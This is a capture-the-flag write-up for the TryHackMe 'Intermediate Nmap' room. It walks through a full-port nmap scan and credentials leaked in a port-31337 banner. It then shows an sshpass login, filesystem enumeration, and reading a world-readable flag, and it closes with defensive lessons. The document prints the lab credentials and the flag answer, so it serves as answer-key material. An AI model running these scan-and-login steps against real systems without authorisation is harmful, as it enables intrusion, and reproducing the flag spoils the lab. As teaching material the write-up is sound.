TryHackMe · Network Enumeration

Intermediate Nmap

Use disciplined full-port scanning and service interrogation to discover credentials leaked on a non-standard high port, pivot into SSH access, and locate a world-readable flag through targeted filesystem enumeration.

Room
Intermediate Nmap
Target IP
10.65.174.14
Difficulty
Beginner-Intermediate
Category
Network / Remote Access

Objective #

The target machine exposes multiple services across standard and non-standard ports. The objective is to perform comprehensive TCP enumeration, identify actionable intelligence disclosed by a high-numbered port, use that intelligence to authenticate via SSH, and locate the flag on the host filesystem.

Core Lesson

Enumeration is not a formality — it is the exploit chain. A single overlooked high-numbered port can be the only path to authentication material, internal routing clues, or application-level secrets.

Skills Tested #

Full-Port TCP Scanning Service/Version Detection Banner Analysis SSH Authentication Testing Post-Auth Enumeration Unix File Permissions

This room is intentionally compact but teaches a professional-grade lesson: attackers do not need an advanced exploit if the environment leaks operational secrets during enumeration. The decisive skill is disciplined observation, not brute force.

Attack Flow #

  Target IP: 10.65.174.14
             |
             v
  Full TCP scan with version detection
  (nmap -sV -p- --min-rate 2000)
             |
             v
  Open ports: 22, 2222, 31337
             |
             v
  Inspect port 31337 banner
  --> Credentials: ubuntu / Dafdas!!/str0ng
             |
             v
  Test SSH listeners
       |                    |
       v                    v
  Port 22: password       Port 2222: publickey
  accepted                only (denied)
       |
       v
  Authenticate as ubuntu on port 22
       |
       v
  Enumerate /home
       |
       v
  Discover /home/user/flag.txt
  (world-readable)
       |
       v
  Read flag

Methodology #

1 · Full-Port TCP Enumeration

The Action

Run a comprehensive TCP scan with service/version detection across all 65,535 ports. 

nmap -sV -p- --min-rate 2000 10.65.174.14

The Why

A default nmap scan checks only the top 1000 TCP ports. The room prompt explicitly warned that the target listens on a high port whose interaction reveals information needed to access a lower, more common service. That wording strongly implied two things:

Using -p- forces nmap to scan all TCP ports. Using -sV instructs it to actively probe detected services and attempt banner/version identification. The --min-rate 2000 flag increases scanning speed, which is acceptable in controlled lab environments.

The Findings

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
2222/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
31337/tcp open  Elite?

31337 response banner:
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng
PortServiceInterpretation
22/tcp SSH Standard remote login — probable pivot target
2222/tcp SSH Alternate listener — could be decoy or restricted
31337/tcp Custom High-port disclosure channel containing credentials
Key Finding

The most important signal was not simply that 31337/tcp was open, but that nmap's service probes elicited a plaintext message exposing a username and password pair. The -sV flag functioned as a banner-grabbing and protocol interrogation mechanism, not just a version fingerprinter.

Thought Process

Working hypothesis: the box is designed around credential disclosure on a non-standard high port. The leaked credentials likely authenticate to one of the SSH services. Because there are two SSH listeners, determining which one accepts these credentials is part of the challenge.

2 · Validate Credentials Against Both SSH Listeners

The Action

Test the discovered credentials against both SSH ports using sshpass for fast, non-interactive validation. 

# Port 22
sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      -p 22 ubuntu@10.65.174.14 \
      'id && hostname && pwd && ls -la'

# Port 2222
sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      -p 2222 ubuntu@10.65.174.14 \
      'id && hostname && pwd && ls -la'

The Why

Even though both ports identified as OpenSSH, they do not necessarily expose identical authentication policies. One listener may allow password authentication while another restricts access to keys only. Protocol identity alone does not guarantee policy equivalence.

Common Mistake

Seeing two SSH ports and assuming they are interchangeable. They may expose different policies, different bastion roles, or different daemon configurations. Always test, never assume.

The Findings

Port 22 — success:

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
f518fa10296d
/home/ubuntu

Port 2222 — failure:

ubuntu@10.65.174.14: Permission denied (publickey).
PortResultMeaning
22/tcp Success Password auth enabled, credentials valid
2222/tcp Denied Public key required — restricted admin path

Thought Process

The leaked credentials are real and intended for 22/tcp. Port 2222/tcp is either a red herring or an alternate administration path with stricter policy. The next highest-value action is minimal post-authentication enumeration rather than broad privilege escalation.

3 · Post-Authentication Enumeration

The Action

Enumerate the home directory and likely user locations to identify flag candidates. 

# Check ubuntu's home
sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14 \
      'find /home/ubuntu -maxdepth 2 -type f 2>/dev/null | sort'

# Widen scope to /home
sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14 \
      'ls -la /home'

The Why

In a CTF or guided lab, filesystem enumeration should be purposeful rather than noisy. The goal was to answer a simple tactical question: where is the flag most likely to reside, and do I already have sufficient permissions to read it?

Starting with /home/ubuntu was sensible because many labs place user flags directly in the logged-in account's home directory. When that yielded only standard shell initialization files, widening to /home was the next logical step.

The Findings

total 20
drwxr-xr-x 1 root   root   4096 Mar  2  2022 .
drwxr-xr-x 1 root   root   4096 Mar  2  2022 ..
drwxr-xr-x 1 ubuntu ubuntu 4096 Mar 17 05:30 ubuntu
drwxr-xr-x 2 root   root   4096 Mar  2  2022 user

The user directory was immediately suspicious — it did not correspond to the authenticated account, but was visible and traversable.

4 · Check Whether Privilege Escalation Is Needed

The Action

sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14 \
      'printf "Dafdas!!/str0ng\n" | sudo -S -l'

The Why

sudo -l is low-cost, high-value enumeration. It quickly rules in or out one of the most common lab escalation paths. Testing this early lets you either pursue escalation immediately or consciously rule it out.

Common Mistake

Launching into full local privilege escalation enumeration (SUID binaries, cron jobs, kernel exploits) before determining whether the objective is already readable at the current privilege level.

The Findings

Sorry, user ubuntu may not run sudo on f518fa10296d.

No sudo rights. This eliminated sudo-based escalation and reinforced that the flag was likely accessible with the current user context.

5 · Locate the Flag

The Action

sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14 \
      'ls -la /home/user'

The Findings

total 16
drwxr-xr-x 2 root root 4096 Mar  2  2022 .
drwxr-xr-x 1 root root 4096 Mar  2  2022 ..
-rw-rw-r-- 1 root root   38 Mar  2  2022 flag.txt
AttributeValueSignificance
Owner root File belongs to root
Group root No special group delegation
Mode -rw-rw-r-- World-readable (the final r--)
Path /home/user/flag.txt Non-default location rewarding enumeration
Key Insight

The permission bits were the decisive detail. Even though the file was owned by root, the final permission triplet (r--) meant any local user could read it. Ownership and access are related but not identical.

6 · Read the Flag

The Action

sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14 \
      'cat /home/user/flag.txt'

The Why

Permissions already permitted read access. The simplest valid action was the correct action — no shell stabilization or privilege escalation needed. In well-run assessments, simplicity is a strength.

Final Flag
flag{251f309497a18888dde5222761ea88e4}

Rabbit Holes & Pivots #

Rabbit Hole 1 — Treating Port 2222 as Equivalent to Port 22

Both ports identified as OpenSSH, making it tempting to assume either would accept the leaked credentials. That assumption failed. 

ubuntu@10.65.174.14: Permission denied (publickey).

The error was explicit: the problem was not wrong credentials but the authentication mechanism itself. The daemon on 2222/tcp required public-key authentication. Because working access was already confirmed on 22/tcp, this path was correctly abandoned.

Rabbit Hole 2 — Checking sudo Privileges

The sudo -l check returned a definitive denial. While the attempt was reasonable as low-cost enumeration, the challenge objective was only to find the flag — not to obtain root. A visible alternate home directory suggested a more direct route.

Rabbit Hole 3 — Initial Focus on /home/ubuntu

The authenticated user's home directory contained only standard shell initialization files. No flag or clue was stored there. Widening enumeration scope to /home revealed /home/user, which led directly to the flag.

Deep Dives #

Why nmap -sV -p- Was the Decisive Move

This room is a textbook demonstration of why scan depth matters.

Scan StyleCoverageTrade-off
nmap <target> Top 1000 TCP ports Fast triage, misses hidden services
nmap -p- <target> All 65,535 TCP ports Full visibility, slower without tuning
nmap -sV -p- <target> All ports + service probing Reveals banners and disclosures

In this challenge, the credential leak was on 31337/tcp — well outside the default scan set. A shallow scan would show 22/tcp, but without the credential disclosure from the high port, SSH would appear inaccessible.

FlagFunctionWhy It Mattered
-sV Service/version detection Forced interaction, revealing the credential banner
-p- Scan all TCP ports Ensured 31337/tcp was not missed
--min-rate 2000 Increase probe rate Reduced scan time in a lab setting
Key Finding

The exploit chain did not begin with authentication. It began with comprehensive visibility. The -sV flag was not just a version fingerprinter — it was the mechanism that triggered the plaintext credential disclosure.

SSH Listeners, Auth Modes, and File Permissions

Remote access is shaped by both daemon configuration and local filesystem permissions.

After authenticating as ubuntu, the critical question became: what can that user actually read? The decisive file metadata showed -rw-rw-r-- permissions:

SegmentBitsMeaning
Owner rw- Root can read and write
Group rw- Root group can read and write
Others r-- Any local user can read

The absence of sudo rights did not matter. The file's root ownership did not matter. The world-readable permission bit did matter. Post-authentication success depends on effective access controls, not file ownership labels.

Defensive Lessons #

1. Do Not Expose Secrets in Service Banners

The primary failure was the plaintext credential disclosure on 31337/tcp. Banners should never expose credentials, internal usernames, password reminders, or debugging strings. Use authenticated secret managers instead of ad hoc notes.

2. Minimize Service Exposure on Non-Standard Ports

Running services on unusual ports is not a security control — it is only address relocation. Disable unused listeners entirely and restrict high-port services with host firewalls or security groups.

3. Harden SSH Consistently Across Listeners

If multiple SSH listeners are required, enforce key-only authentication where possible. Use allowlists, bastion models, or network segmentation. Monitor authentication attempts across all listeners, not just 22/tcp.

4. Review File Permissions for Sensitive Data

The flag file was root-owned but world-readable. In real systems, this pattern can expose secrets, API tokens, backups, or internal documents. Audit sensitive files for over-broad read permissions and apply least privilege to both ownership and mode bits.

5. Log and Alert on Anomalous Enumeration

Real organizations should monitor for full-range TCP scans, repeated service probes on unusual ports, authentication attempts across multiple SSH listeners, and rapid post-login filesystem enumeration.

Commands Reference #

Clean reproduction path without dead-end steps.

1. Enumerate all TCP ports and identify services

nmap -sV -p- --min-rate 2000 10.65.174.14

2. Authenticate to SSH on port 22

sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14

3. Locate and read the flag

ls -la /home
ls -la /home/user
cat /home/user/flag.txt

Optional: Direct non-interactive path

sshpass -p 'Dafdas!!/str0ng' \
  ssh -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null \
      ubuntu@10.65.174.14 \
      'cat /home/user/flag.txt'

Flag #

Final Flag
flag{251f309497a18888dde5222761ea88e4}

This lab demonstrates that effective offensive work is often less about “breaking in” and more about seeing what the system is already telling you. The high port rewarded complete scanning. The banner rewarded careful reading. The dual SSH listeners punished assumptions. The flag permissions rewarded precise enumeration.